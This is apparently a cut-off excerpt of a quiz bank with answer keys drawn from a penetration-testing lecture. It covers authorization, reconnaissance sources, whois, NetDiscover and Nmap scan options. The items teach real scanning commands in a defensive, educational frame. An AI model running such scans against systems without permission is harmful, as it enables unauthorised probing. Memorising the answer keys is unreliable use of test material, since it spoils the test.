Answer: A. It should complement a security strategy rather than be treated as a guarantee of security.

Why: The lecture explicitly states that penetration testing is not a guarantee of security and should complement the security strategy.

Source page reference: p. 6

Q005 | *Select all that apply*

Which activities belong to the penetration-testing workflow? Select all that apply.

- A. Getting permission
- B. Gathering information
- C. Threat modelling
- D. Vulnerability analysis
- E. Exploitation
- F. Reporting
- G. Ignoring the target owner

Answer: A, B, C, D, E, F

Why: The lecture lists permission, information gathering, threat modelling, vulnerability analysis, exploitation, and reporting.

Source page reference: p. 7

Q006 | *Definition recognition*

Which penetration-testing activity is best described as follows: Confirm that the assessment is authorized before interacting with the target.

- A. Getting permission
- B. Vulnerability analysis
- C. Threat modelling
- D. Gathering information

Answer: A. Getting permission

Why: This description corresponds to getting permission.

Source page reference: p. 7

Q007 | *Reverse definition*

What is the main purpose of the getting permission stage?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Confirm that the assessment is authorized before interacting with the target.
- C. Clarify what the penetration test covers and what may go wrong.
- D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Answer: B. Confirm that the assessment is authorized before interacting with the target.

Why: The lecture associates the getting permission stage with this purpose.

Source page reference: p. 7

Q008 | *Definition recognition*

Which penetration-testing activity is best described as follows: Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

- A. Gathering information
- B. Threat modelling
- C. Getting permission
- D. Vulnerability analysis

Answer: A. Gathering information

Why: This description corresponds to gathering information.

Source page reference: p. 7

Q009 | Reverse definition

What is the main purpose of the gathering information stage?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- C. Confirm that the assessment is authorized before interacting with the target.
- D. Clarify what the penetration test covers and what may go wrong.

Answer: B. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Why: The lecture associates the gathering information stage with this purpose.

Source page reference: p. 7

Q010 | Definition recognition

Which penetration-testing activity is best described as follows: Clarify what the penetration test covers and what may go wrong.

- A. Getting permission
- B. Threat modelling
- C. Vulnerability analysis
- D. Gathering information

Answer: B. Threat modelling

Why: This description corresponds to threat modelling.

Source page reference: p. 7

Q011 | Reverse definition

What is the main purpose of the threat modelling stage?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Clarify what the penetration test covers and what may go wrong.
- C. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- D. Confirm that the assessment is authorized before interacting with the target.

Answer: B. Clarify what the penetration test covers and what may go wrong.

Why: The lecture associates the threat modelling stage with this purpose.

Source page reference: p. 7

Q012 | Definition recognition

Which penetration-testing activity is best described as follows: Connect collected intelligence to possible vulnerabilities.

- A. Gathering information
- B. Getting permission
- C. Vulnerability analysis
- D. Threat modelling

Answer: C. Vulnerability analysis

Why: This description corresponds to vulnerability analysis.

Source page reference: p. 7

Q013 | Reverse definition

What is the main purpose of the vulnerability analysis stage?

- A. Connect collected intelligence to possible vulnerabilities.
- B. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.
- C. Clarify what the penetration test covers and what may go wrong.
- D. Confirm that the assessment is authorized before interacting with the target.

Answer: A. Connect collected intelligence to possible vulnerabilities.

Why: The lecture associates the vulnerability analysis stage with this purpose.

Source page reference: p. 7

Q014 | Definition recognition

Which penetration-testing activity is best described as follows: Carefully create a proof of concept that demonstrates a problem without harming the target.

- A. Exploitation
- B. Gathering information
- C. Threat modelling
- D. Getting permission

Answer: A. Exploitation

Why: This description corresponds to exploitation.

Source page reference: p. 7

Q015 | Reverse definition

What is the main purpose of the exploitation stage?

- A. Clarify what the penetration test covers and what may go wrong.
- B. Confirm that the assessment is authorized before interacting with the target.
- C. Carefully create a proof of concept that demonstrates a problem without harming the target.
- D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Answer: C. Carefully create a proof of concept that demonstrates a problem without harming the target.

Why: The lecture associates the exploitation stage with this purpose.

Source page reference: p. 7

Q016 | Definition recognition

Which penetration-testing activity is best described as follows: Document and, where appropriate, help fix the problems.

- A. Getting permission
- B. Reporting
- C. Gathering information
- D. Threat modelling

Answer: B. Reporting

Why: This description corresponds to reporting.

Source page reference: p. 7

Q017 | Reverse definition

What is the main purpose of the reporting stage?

- A. Clarify what the penetration test covers and what may go wrong.
- B. Document and, where appropriate, help fix the problems.
- C. Confirm that the assessment is authorized before interacting with the target.
- D. Collect information about the company, IP addresses, websites, hosts, services, and fingerprints.

Answer: B. Document and, where appropriate, help fix the problems.

Why: The lecture associates the reporting stage with this purpose.

Source page reference: p. 7

Q018 | Scenario

A consultant has collected service banners and operating-system fingerprints. The next task is to relate those findings to known weaknesses. Which activity is this?

- A. Vulnerability analysis
- B. Reporting
- C. Passive scanning only
- D. Getting permission

Answer: A. Vulnerability analysis

Why: Vulnerability analysis connects collected intelligence to possible vulnerabilities.

Source page reference: p. 7

Q019 | Scenario

A security team produces a carefully limited proof of concept to demonstrate a flaw without harming the target. Which stage is being performed?

- A. DNS lookup
- B. Getting permission
- C. Exploitation
- D. Reporting

Answer: C. Exploitation

Why: The exploitation stage may involve a careful proof of concept that avoids harm.

Source page reference: p. 7

Q020 | Ordering

Which activity should occur before an authorized assessment begins interacting with a target?

- A. Reporting
- B. Exploitation
- C. Getting permission
- D. Running an aggressive timing profile

Answer: C. Getting permission

Why: Authorization is a prerequisite for assessment activities.

Source page reference: p. 7

Q021 | Assertion-reason

Assertion: A penetration test should be treated as one part of a broader security strategy.

Reason: A penetration test is not a guarantee that a system is secure.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The lecture explicitly presents testing as complementary rather than absolute proof of security.

Source page reference: p. 6

Q022 | EXCEPT / NOT

All of the following are penetration-testing activities EXCEPT:

- A. Getting permission
- B. Gathering information
- C. Assuming permission is unnecessary when the target is reachable from the Internet
- D. Vulnerability analysis

Answer: C. Assuming permission is unnecessary when the target is reachable from the Internet

Why: Internet exposure does not remove the need for authorization.

Source page reference: p. 7

2. Information gathering, investigation, and vulnerable-service analysis

16 questions. Answers appear immediately below each item.

Q023 | Classification

Which item belongs to the collection phase of vulnerability assessment and is described as network addressing information?

- A. DNS and whois registry information
- B. IP addresses
- C. Personal information
- D. Other vital information

Answer: B. IP addresses

Why: IP addresses is explicitly listed as information to collect.

Source page reference: p. 9

Q024 | Classification

Which item belongs to the collection phase of vulnerability assessment and is described as people-related information that may support reconnaissance or social-engineering analysis?

- A. DNS and whois registry information
- B. IP addresses
- C. Other vital information
- D. Personal information

Answer: D. Personal information

Why: Personal information is explicitly listed as information to collect.

Source page reference: p. 9

Q025 | Classification

Which item belongs to the collection phase of vulnerability assessment and is described as registry-derived information about domains or addressing?

- A. DNS and whois registry information
- B. IP addresses
- C. Personal information
- D. Other vital information

Answer: A. DNS and whois registry information

Why: DNS and whois registry information is explicitly listed as information to collect.

Source page reference: p. 9

Q026 | Classification

Which item belongs to the collection phase of vulnerability assessment and is described as additional information that may aid the authorized assessment?

- A. Other vital information
- B. Personal information
- C. IP addresses
- D. DNS and whois registry information

Answer: A. Other vital information

Why: Other vital information is explicitly listed as information to collect.

Source page reference: p. 9

Q027 | Reverse recognition

Which investigation question is primarily about host availability?

- A. Which ports are open?
- B. Which services are running?
- C. Which hosts are up?
- D. Which service versions and operating systems are present?

Answer: C. Which hosts are up?

Why: This question focuses on host availability.

Source page reference: p. 10

Q028 | Reverse recognition

Which investigation question is primarily about exposed ports?

- A. Which ports are open?
- B. Which hosts are up?
- C. Which services are running?
- D. Which service versions and operating systems are present?

Answer: A. Which ports are open?

Why: This question focuses on exposed ports.

Source page reference: p. 10

Q029 | Reverse recognition

Which investigation question is primarily about service enumeration?

- A. Which ports are open?
- B. Which services are running?
- C. Which service versions and operating systems are present?
- D. Which hosts are up?

Answer: B. Which services are running?

Why: This question focuses on service enumeration.

Source page reference: p. 10

Q030 | Reverse recognition

Which investigation question is primarily about version and OS fingerprinting?

- A. Which ports are open?
- B. Which services are running?
- C. Which hosts are up?
- D. Which service versions and operating systems are present?

Answer: D. Which service versions and operating systems are present?

Why: This question focuses on version and OS fingerprinting.

Source page reference: p. 10

Q031 | Reverse recognition

Which investigation question is primarily about topology or structure?

- A. Which hosts are up?
- B. Which services are running?
- C. What is the network structure?
- D. Which ports are open?

Answer: C. What is the network structure?

Why: This question focuses on topology or structure.

Source page reference: p. 10

Q032 | Reverse recognition

Which investigation question is primarily about publicly available intelligence?

- A. Which services are running?
- B. What further information exists in the public domain?
- C. Which hosts are up?
- D. Which ports are open?

Answer: B. What further information exists in the public domain?

Why: This question focuses on publicly available intelligence.

Source page reference: p. 10

Q033 | Select all that apply

Which questions are part of the investigation phase? Select all that apply.

- A. Which hosts are up?
- B. Which ports are open?
- C. Which services are running?
- D. Which service versions and operating systems are present?
- E. What is the network structure?
- F. What public-domain information exists?
- G. Which targets may be scanned without authorization?

Answer: A, B, C, D, E, F

Why: The lecture lists host, port, service, version, operating-system, network-structure, and public-domain investigation questions.

Source page reference: p. 10

Q034 | Single answer

An assessor notices that TCP port 22 is open on a managed server. Which conclusion is most correct?

- A. An open port is not automatically a security risk; the service context, configuration, version, and exposure must be examined.
- B. The server must be taken offline immediately regardless of configuration.
- C. Every open port is automatically a critical vulnerability.
- D. Port 22 always proves that anonymous access is enabled.

Answer: A. An open port is not automatically a security risk; the service context, configuration, version, and exposure must be examined.

Why: The lecture uses managed SSH on port 22 as an example showing that an open port is not automatically a security risk.

Source page reference: p. 12

Q035 | Select all that apply

When can an exposed service become a security risk? Select all that apply.

- A. The service is vulnerable
- B. The service is misconfigured
- C. The service is exposed to an untrusted network
- D. The service merely exists on a documented internal inventory
- E. The service has been researched and shown to be appropriately secured

Answer: A, B, C

Why: A service becomes risky when it is vulnerable, misconfigured, or exposed to an untrusted network.

Source page reference: p. 12

Q036 | Scenario

A version scan identifies an old service release. What is the most appropriate next step within vulnerability assessment?

- A. Research whether that specific version has known risks or vulnerabilities.
- B. Assume the service is safe because it responded to the scan.
- C. Exploit it immediately without authorization.
- D. Ignore the version and evaluate only the host name.

Answer: A. Research whether that specific version has known risks or vulnerabilities.

Why: Version information should be connected to research about possible risks.

Source page reference: p. 12

Q037 | Select all that apply

Which resources or tools are named as useful when identifying vulnerable services? Select all that apply.

- A. CVE
- B. exploit-db
- C. Nessus
- D. GVM
- E. Legion
- F. Nmap
- G. A guarantee that every alert is exploitable

Answer: A, B, C, D, E, F

Why: The lecture names CVE, exploit-db, Nessus, GVM, Legion, and Nmap as useful resources or tools.

Source page reference: p. 12

Q038 | Assertion-reason

Assertion: An open port should be investigated in context rather than automatically labelled a vulnerability.

Reason: A service becomes risky when it is vulnerable, misconfigured, or exposed to an untrusted network.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The risk depends on the service and its exposure, not merely the existence of an open port.

Source page reference: p. 12

3. Passive reconnaissance, active scanning, and public sources

24 questions. Answers appear immediately below each item.

Q039 | Single answer

Which description best matches passive scanning?

- A. Sending probes directly to every port on the target
- B. Gathering information about a target without actually scanning its network or system
- C. Running authenticated vulnerability checks on the target
- D. Completing TCP handshakes against a host

Answer: B. Gathering information about a target without actually scanning its network or system

Why: Passive scanning gathers information without directly scanning the target network or system.

Source page reference: p. 11

Q040 | Single answer

Which description best matches active scanning?

- A. Actively scanning the target network or system with tools to extract information not volunteered
- B. Waiting for the target to publish a report voluntarily
- C. Reviewing archived pages without directly interacting with the target
- D. Reading only public job advertisements

Answer: A. Actively scanning the target network or system with tools to extract information not volunteered

Why: Active scanning interacts with the target network or system using tools.

Source page reference: p. 11

Q041 | Passive-source recognition

Which passive-reconnaissance source is best described as information intentionally or unintentionally made available publicly?

- A. Discussion boards
- B. Volunteered intelligence
- C. Chat rooms
- D. Websites and online resources

Answer: B. Volunteered intelligence

Why: Volunteered intelligence is listed as a passive information source.

Source page reference: p. 11

Q042 | Passive-source recognition

Which passive-reconnaissance source is best described as public web content?

- A. Volunteered intelligence
- B. Discussion boards
- C. Websites and online resources
- D. Chat rooms

Answer: C. Websites and online resources

Why: Websites and online resources is listed as a passive information source.

Source page reference: p. 11

Q043 | Passive-source recognition

Which passive-reconnaissance source is best described as public forum discussions?

- A. Volunteered intelligence
- B. Websites and online resources
- C. Discussion boards
- D. Chat rooms

Answer: C. Discussion boards

Why: Discussion boards is listed as a passive information source.

Source page reference: p. 11

Q044 | Passive-source recognition

Which passive-reconnaissance source is best described as public or accessible discussions?

- A. Chat rooms
- B. Discussion boards
- C. Websites and online resources
- D. Volunteered intelligence

Answer: A. Chat rooms

Why: Chat rooms is listed as a passive information source.

Source page reference: p. 11

Q045 | Passive-source recognition

Which passive-reconnaissance source is best described as historical website content?

- A. archive.org
- B. Volunteered intelligence
- C. Websites and online resources
- D. Discussion boards

Answer: A. archive.org

Why: archive.org is listed as a passive information source.

Source page reference: p. 11

Q046 | Passive-source recognition

Which passive-reconnaissance source is best described as hints about technologies, infrastructure, or staffing conditions?

- A. Discussion boards
- B. Consistent job advertisements
- C. Websites and online resources
- D. Volunteered intelligence

Answer: B. Consistent job advertisements

Why: Consistent job advertisements is listed as a passive information source.

Source page reference: p. 11

Q047 | Tool-purpose recognition

Which active-scanning tool is associated with information discovery?

- A. Nessus
- B. OWASP ZAP
- C. Burp Suite
- D. Nmap

Answer: D. Nmap

Why: The lecture associates Nmap with information discovery.

Source page reference: p. 11

Q048 | Tool-purpose recognition

Which active-scanning tool is associated with vulnerability assessment?

- A. Nmap
- B. OWASP ZAP
- C. Nessus
- D. Burp Suite

Answer: C. Nessus

Why: The lecture associates Nessus with vulnerability assessment.

Source page reference: p. 11

Q049 | Tool-purpose recognition

Which active-scanning tool is associated with web scanning or web-attack assessment?

- A. OWASP ZAP
- B. Nessus
- C. Nmap
- D. Burp Suite

Answer: D. Burp Suite

Why: The lecture associates Burp Suite with web scanning or web-attack assessment.

Source page reference: p. 11

Q050 | Tool-purpose recognition

Which active-scanning tool is associated with web scanning?

- A. Burp Suite
- B. Nmap
- C. Nessus
- D. OWASP ZAP

Answer: D. OWASP ZAP

Why: The lecture associates OWASP ZAP with web scanning.

Source page reference: p. 11

Q051 | Select all that apply

Which are examples of passive reconnaissance? Select all that apply.

- A. Reviewing an organization website
- B. Checking historical pages through archive.org
- C. Reading public discussion boards
- D. Inferring technologies from recurring job advertisements
- E. Running an Nmap SYN scan against the target
- F. Running Nessus against the target

Answer: A, B, C, D

Why: Passive reconnaissance gathers publicly available or volunteered information without directly scanning the target system.

Source page reference: p. 11

Q052 | Select all that apply

Which are examples of active scanning? Select all that apply.

- A. Running Nmap against the target
- B. Running Nessus against the target
- C. Running Burp Suite or OWASP ZAP against a web application
- D. Reading an archived website snapshot only
- E. Reading a public job advertisement only

Answer: A, B, C

Why: The lecture lists Nmap, Nessus, Burp Suite, and OWASP ZAP as active tools.

Source page reference: p. 11

Q053 | Scenario

An assessor uses recurring job advertisements to infer programming languages and infrastructure used by an organization. Which technique is being used?

- A. Passive reconnaissance
- B. TCP connect scanning
- C. UDP scanning
- D. Authenticated vulnerability scanning

Answer: A. Passive reconnaissance

Why: The lecture specifically lists recurring job advertisements as a passive source of infrastructure clues.

Source page reference: p. 11

Q054 | Scenario

An assessor sends probes directly to the target network using Nmap. Which category does this belong to?

- A. Reporting
- B. Threat modelling only
- C. Active scanning
- D. Passive scanning

Answer: C. Active scanning

Why: Sending probes to the target is active scanning.

Source page reference: p. 11

Q055 | Single answer

What is a primary use of netcraft.com?

- A. Completing a TCP handshake against every port
- B. Running exploit payloads remotely
- C. Replacing authorization forms
- D. Inspecting websites and obtaining infrastructure or technology information about a site

Answer: D. Inspecting websites and obtaining infrastructure or technology information about a site

Why: The lecture presents Netcraft research tools and a site report as passive website-inspection resources.

Source page reference: pp. 14-15

Q056 | Select all that apply

Which kinds of fields may appear in a Netcraft-style site report? Select all that apply.

- A. Hosting company or netblock owner
- B. IP address information
- C. Nameserver or registrar information
- D. DNS-related information
- E. A proof that every detected service is exploitable

Answer: A, B, C, D

Why: The illustrated site report contains network, hosting, IP, nameserver, registrar, and DNS-related fields.

Source page reference: p. 15

Q057 | Single answer

What is archive.org used for?

- A. Running remote payloads
- B. Performing an authenticated Nessus scan
- C. Inspecting historical website content and archived pages
- D. Completing a SYN scan

Answer: C. Inspecting historical website content and archived pages

Why: The Wayback Machine can expose historical website content and URLs.

Source page reference: pp. 16-18

Q058 | Scenario

A page has been removed from a company website, but an assessor wants to inspect an older publicly archived version. Which resource is the best match?

- A. archive.org
- B. NetDiscover
- C. Nessus
- D. EtherApe

Answer: A. archive.org

Why: archive.org is presented as a resource for historical website pages.

Source page reference: pp. 16-18

Q059 | Single answer

Which resource is a search engine for Internet-connected devices?

- A. EtherApe
- B. NetDiscover
- C. Nessus authenticated scan
- D. Shodan

Answer: D. Shodan

Why: The lecture uses Shodan to search Internet-connected devices and exposures.

Source page reference: pp. 19-20

Q060 | Command interpretation

In a Shodan-style query, what does the search `port:21 country:dk` most directly request?

- A. Only hosts with port 22 worldwide
- B. Results associated with port 21 in Denmark
- C. All archived web pages for a Danish domain
- D. Only systems with no open ports

Answer: B. Results associated with port 21 in Denmark

Why: The illustrated Shodan query filters by port 21 and country code dk.

Source page reference: p. 20

Q061 | EXCEPT / NOT

All of the following are passive-reconnaissance examples EXCEPT:

- A. Reviewing public websites
- B. Inspecting archived pages
- C. Sending SYN probes to the target with Nmap
- D. Reading discussion boards

Answer: C. Sending SYN probes to the target with Nmap

Why: Nmap SYN probes actively interact with the target.

Source page reference: p. 11

Q062 | Assertion-reason

Assertion: Passive reconnaissance can still reveal useful technical information.

Reason: Public websites, archived pages, and job advertisements may expose clues about technologies and infrastructure.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: Passive sources can provide valuable intelligence without scanning the target network.

Source page reference: p. 11

4. DNS, whois, internal-network discovery, and traffic monitoring

13 questions. Answers appear immediately below each item.

Q063 | Single answer

What kinds of records can domain registrars keep about hosted domains?

- A. Information such as the domain owner and contact information
- B. Only packet captures
- C. Only local MAC addresses
- D. Only open TCP ports

Answer: A. Information such as the domain owner and contact information

Why: The lecture states that domain registrars keep records such as owner and contact information.

Source page reference: p. 22

Q064 | Single answer

What may appear when domain registration information is private?

- A. Nmap XML output
- B. RST only
- C. TCP SYN-ACK
- D. Domains By Proxy

Answer: D. Domains By Proxy

Why: The lecture notes that private information may be represented as Domains By Proxy.

Source page reference: p. 22

Q065 | Command recognition

Which command is used to query registration information for a domain?

- A. netdiscover -r example.com
- B. whois example.com
- C. host example.com
- D. nmap -sS example.com

Answer: B. whois example.com

Why: The lecture shows `whois example.com` for domain registration lookup.

Source page reference: p. 22

Q066 | Command recognition

Which command is used to query registration information for an IP address?

- A. whois 192.168.0.1
- B. host -r 192.168.0.1
- C. netdiscover -sV 192.168.0.1
- D. nmap -oA 192.168.0.1

Answer: A. whois 192.168.0.1

Why: The lecture shows a whois command for an IP address.

Source page reference: p. 22

Q067 | Select all that apply

Which tools can query DNS to obtain domain-name or IP-address mappings? Select all that apply.

- A. host
- B. nslookup
- C. Metasploit payload
- D. EtherApe replay mode
- E. Burp Suite crawler

Answer: A, B

Why: The lecture states that host and nslookup can query DNS mappings.

Source page reference: p. 22

Q068 | Single answer

What is NetDiscover primarily used to find on an internal network?

- A. Remote payload modules only
- B. Live hosts, including IP and MAC addresses
- C. Archived website pages only
- D. Domain registration privacy settings only

Answer: B. Live hosts, including IP and MAC addresses

Why: NetDiscover is presented as an internal-network discovery tool for IP and MAC information.

Source page reference: p. 23

Q069 | Command interpretation

What network range is represented by `192.168.1.0/24` in this NetDiscover command?

- A. Only addresses on port 24
- B. Only 192.168.1.0
- C. All public IPv4 addresses
- D. The range covering addresses from 192.168.1.0 to 192.168.1.255

Answer: D. The range covering addresses from 192.168.1.0 to 192.168.1.255

Why: The lecture uses this /24 example for addresses from 192.168.1.0 to 192.168.1.255.

Source page reference: p. 23

Q070 | Command option

In `netdiscover -r 192.168.1.0/24 -f`, what does `-r` specify?

- A. A request to perform a TCP FIN scan
- B. A vulnerability-report filename
- C. A DNS resolver only
- D. The network range to scan

Answer: D. The network range to scan

Why: The lecture states that `-r` specifies the network range.

Source page reference: p. 23

Q071 | Command option

in this NetDiscover command, what is the purpose of `-f`?

- A. It performs service-version detection.
- B. It writes XML output.
- C. It tells NetDiscover not to try every IP on the network but only a few.
- D. It forces a full TCP handshake.

Answer: C. It tells NetDiscover not to try every IP on the network but only a few.

Why: The lecture describes `-f` as limiting the IPs tried.

Source page reference: p. 23

Q072 | Risk awareness

What warning is given about NetDiscover?

- A. It only works on archived web pages.
- B. It can be used safely without authorization on any network.
- C. It guarantees that all hosts remain unaffected.
- D. It can cause a denial of service on the target network.

Answer: D. It can cause a denial of service on the target network.

Why: The lecture explicitly warns that the tool can cause a DoS on the target network.

Source page reference: p. 23

Q073 | Single answer

What is EtherApe?

- A. A domain privacy service
- B. A remote payload module
- C. A DNS registrar
- D. A packet sniffer and network-traffic monitoring tool

Answer: D. A packet sniffer and network-traffic monitoring tool

Why: EtherApe is presented as a packet-sniffing and traffic-monitoring tool.

Source page reference: p. 24

Q074 | Select all that apply

Which capabilities are associated with EtherApe? Select all that apply.

- A. Replay traffic from a file
- B. Display traffic graphically
- C. Show color-coded protocols
- D. Operate in link-layer, IP, and TCP modes
- E. Support filtering
- F. Guarantee exploitation of every service

Answer: A, B, C, D, E

Why: The lecture lists replay, graphical display, color coding, multiple modes, and filtering.

Source page reference: p. 24

Q075 | Scenario

An analyst wants a graphical, color-coded view of network traffic and may replay traffic from a capture file. Which tool is the best match?

- A. archive.org
- B. whois
- C. NetDiscover
- D. EtherApe

Answer: D. EtherApe

Why: Those capabilities are listed for EtherApe.

Source page reference: p. 24

5. Nmap foundations, host discovery, and ICMP interpretation

14 questions. Answers appear immediately below each item.

Q076 | Single answer

What does the name Nmap refer to?

- A. New Malware Analyzer
- B. Name Mapper only
- C. Network Mailer
- D. Network Mapper

Answer: D. Network Mapper

Why: The lecture introduces Nmap as the network mapper.

Source page reference: p. 25

Q077 | Select all that apply

Which purposes are associated with Nmap? Select all that apply.

- A. Network discovery
- B. Network inventory
- C. Security auditing
- D. Finding hosts and services
- E. Detecting operating systems
- F. Assessing vulnerabilities
- G. Guaranteeing a target is secure

Answer: A, B, C, D, E, F

Why: Nmap is a free, open-source tool for discovery, inventory, auditing, host and service discovery, OS detection, and some vulnerability assessment.

Source page reference: p. 25

Q078 | Single answer

Which statement about Nmap is correct?

- A. It is only a graphical DNS client.
- B. It is free and open source and can use raw packets.
- C. It is limited to reading public webpages.
- D. It cannot assess vulnerabilities in any way.

Answer: B. It is free and open source and can use raw packets.

Why: The lecture describes Nmap as free, open source, and capable of using raw packets.

Source page reference: p. 25

Q079 | Single answer

Which Nmap concept is used to determine whether hosts are reachable before a port scan?

- A. Host discovery
- B. Payload execution
- C. Reporting only
- D. Archived-site analysis

Answer: A. Host discovery

Why: Host discovery uses probes or pings to identify reachable hosts.

Source page reference: p. 26

Q080 | Command option

Which option omits host discovery?

- A. -sn
- B. -Pn
- C. -sT
- D. -oA

Answer: B. -Pn

Why: The lecture lists `-Pn`` as omitting host discovery.

Source page reference: p. 26

Q081 | Command option

Which option performs host discovery without a port scan?

- A. -p-
- B. -Pn
- C. -sn
- D. -sF

Answer: C. -sn

Why: The lecture states that ``nmap -sn <IP>`` performs host discovery with no port scans.

Source page reference: pp. 26, 33

Q082 | Scenario

An assessor wants to identify which machines respond but does not want to scan ports. Which Nmap form is the best match?

- A. `nmap -sn <IP or range>`
- B. `nmap -p- <IP>`
- C. `nmap -sF <IP>`
- D. `nmap -sV <IP>`

Answer: A. `nmap -sn <IP or range>`

Why: `-sn`` performs host discovery and omits the port scan.

Source page reference: p. 33

Q083 | Single answer

What does an ICMP ping scan send from source to destination?

- A. A remote payload
- B. A complete FTP session
- C. A DNS registrar update
- D. A single ICMP echo request

Answer: D. A single ICMP echo request

Why: The lecture describes the ping scan as sending an ICMP echo request.

Source page reference: p. 27

Q084 | Response interpretation

During an ICMP-based host check, an active device normally responds with what?

- A. A DNS registrar transfer
- B. An XML report only
- C. A Metasploit payload
- D. An ICMP echo reply

Answer: D. An ICMP echo reply

Why: An active device normally returns an ICMP echo reply unless ICMP is filtered.

Source page reference: p. 27

Q085 | Response interpretation

Why might an active host fail to respond to an ICMP echo request?

- A. Nmap cannot send ICMP packets.
- B. ICMP traffic may be filtered by a firewall.
- C. The host must always be offline.
- D. Every open port automatically blocks ICMP.

Answer: B. ICMP traffic may be filtered by a firewall.

Why: The lecture notes that firewalls can block pings and prevent host discovery.

Source page reference: p. 27

Q086 | Response interpretation

What does an ICMP Port Unreachable message indicate?

- A. The host has no IP address
- B. The port is definitely open
- C. The port is closed
- D. A payload ran successfully

Answer: C. The port is closed

Why: The lecture associates ICMP Port Unreachable with a closed port.

Source page reference: p. 27

Q087 | Response interpretation

What can a lack of response mean during scanning?

- A. The port may be open but silent, or traffic may be filtered.
- B. The scan definitely completed a TCP handshake.
- C. The port is always open and exploitable.
- D. The port is always closed.

Answer: A. The port may be open but silent, or traffic may be filtered.

Why: No response can be ambiguous: the port may be silent or traffic may be filtered.

Source page reference: p. 27

Q088 | Assertion-reason

Assertion: A host that does not answer ping should not automatically be classified as offline.

Reason: Firewalls may block ICMP echo traffic used for host discovery.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: A blocked ping can hide an active host.

Source page reference: p. 27

Q089 | EXCEPT / NOT

All of the following are associated with Nmap EXCEPT:

- A. A guarantee that an assessment proves the system secure
- B. Network discovery
- C. Security auditing
- D. Network inventory

Answer: A. A guarantee that an assessment proves the system secure

Why: Nmap supports discovery and auditing, but no assessment guarantees complete security.

Source page reference: pp. 6, 25

6. Nmap TCP, UDP, SYN, FIN, and related scan types

38 questions. Answers appear immediately below each item.

Q090 | Command recognition

Which Nmap option corresponds to a TCP connect scan?

- A. -sF
- B. -sS
- C. -sT
- D. -sV

Answer: C. -sT

Why: `-sT` is the option associated with tcp connect scan.

Source page reference: p. 28

Q091 | Reverse command recognition

What scan type is requested by `nmap -sT <target>`?

- A. SYN scan
- B. FIN scan
- C. TCP connect scan
- D. Version scan

Answer: C. TCP connect scan

Why: `-sT` requests a tcp connect scan.

Source page reference: p. 28

Q092 | Command recognition

Which Nmap option corresponds to a Version scan?

- A. -sT
- B. -sF
- C. -sV
- D. -sS

Answer: C. -sV

Why: `-sV` is the option associated with version scan.

Source page reference: p. 28

Q093 | Reverse command recognition

What scan type is requested by `nmap -sV <target>`?

- A. TCP connect scan
- B. FIN scan
- C. SYN scan
- D. Version scan

Answer: D. Version scan

Why: `-sV` requests a version scan.

Source page reference: p. 28

Q094 | Command recognition

Which Nmap option corresponds to a SYN scan?

- A. -sF
- B. -sV
- C. -sT
- D. -sS

Answer: D. -sS

Why: `-sS` is the option associated with syn scan.

Source page reference: p. 29

Q095 | Reverse command recognition

What scan type is requested by ``nmap -sS <target>``?

- A. TCP connect scan
- B. SYN scan
- C. FIN scan
- D. Version scan

Answer: B. SYN scan

Why: `-sS` requests a syn scan.

Source page reference: p. 29

Q096 | Command recognition

Which Nmap option corresponds to a FIN scan?

- A. -sS
- B. -sV
- C. -sT
- D. -sF

Answer: D. -sF

Why: `-sF` is the option associated with fin scan.

Source page reference: p. 30

Q097 | Reverse command recognition

What scan type is requested by ``nmap -sF <target>``?

- A. Version scan
- B. TCP connect scan
- C. SYN scan
- D. FIN scan

Answer: D. FIN scan

Why: `-sF` requests a fin scan.

Source page reference: p. 30

Q098 | Command recognition

Which Nmap option corresponds to a UDP scan?

- A. -sU
- B. -sV
- C. -sT
- D. -sS

Answer: A. -sU

Why: -sU is the option associated with udp scan.

Source page reference: p. 33

Q099 | Reverse command recognition

What scan type is requested by `nmap -sU <target>`?

- A. SYN scan
- B. Version scan
- C. TCP connect scan
- D. UDP scan

Answer: D. UDP scan

Why: -sU requests a udp scan.

Source page reference: p. 33

Q100 | Command recognition

Which Nmap option corresponds to a Xmas scan?

- A. -sT
- B. -sV
- C. -sX
- D. -sS

Answer: C. -sX

Why: -sX is the option associated with xmas scan.

Source page reference: p. 34

Q101 | Reverse command recognition

What scan type is requested by `nmap -sX <target>`?

- A. TCP connect scan
- B. SYN scan
- C. Xmas scan
- D. Version scan

Answer: C. Xmas scan

Why: -sX requests a xmas scan.

Source page reference: p. 34

Q102 | Command recognition

Which Nmap option corresponds to a Null scan?

- A. -sV
- B. -sT
- C. -sN
- D. -sS

Answer: C. -sN

Why: `-sN` is the option associated with null scan.

Source page reference: p. 34

Q103 | Reverse command recognition

What scan type is requested by ``nmap -sN <target>``?

- A. Version scan
- B. SYN scan
- C. Null scan
- D. TCP connect scan

Answer: C. Null scan

Why: `-sN` requests a null scan.

Source page reference: p. 34

Q104 | Command recognition

Which Nmap option corresponds to a Protocol scan?

- A. -sT
- B. -sO
- C. -sV
- D. -sS

Answer: B. -sO

Why: `-sO` is the option associated with protocol scan.

Source page reference: p. 34

Q105 | Reverse command recognition

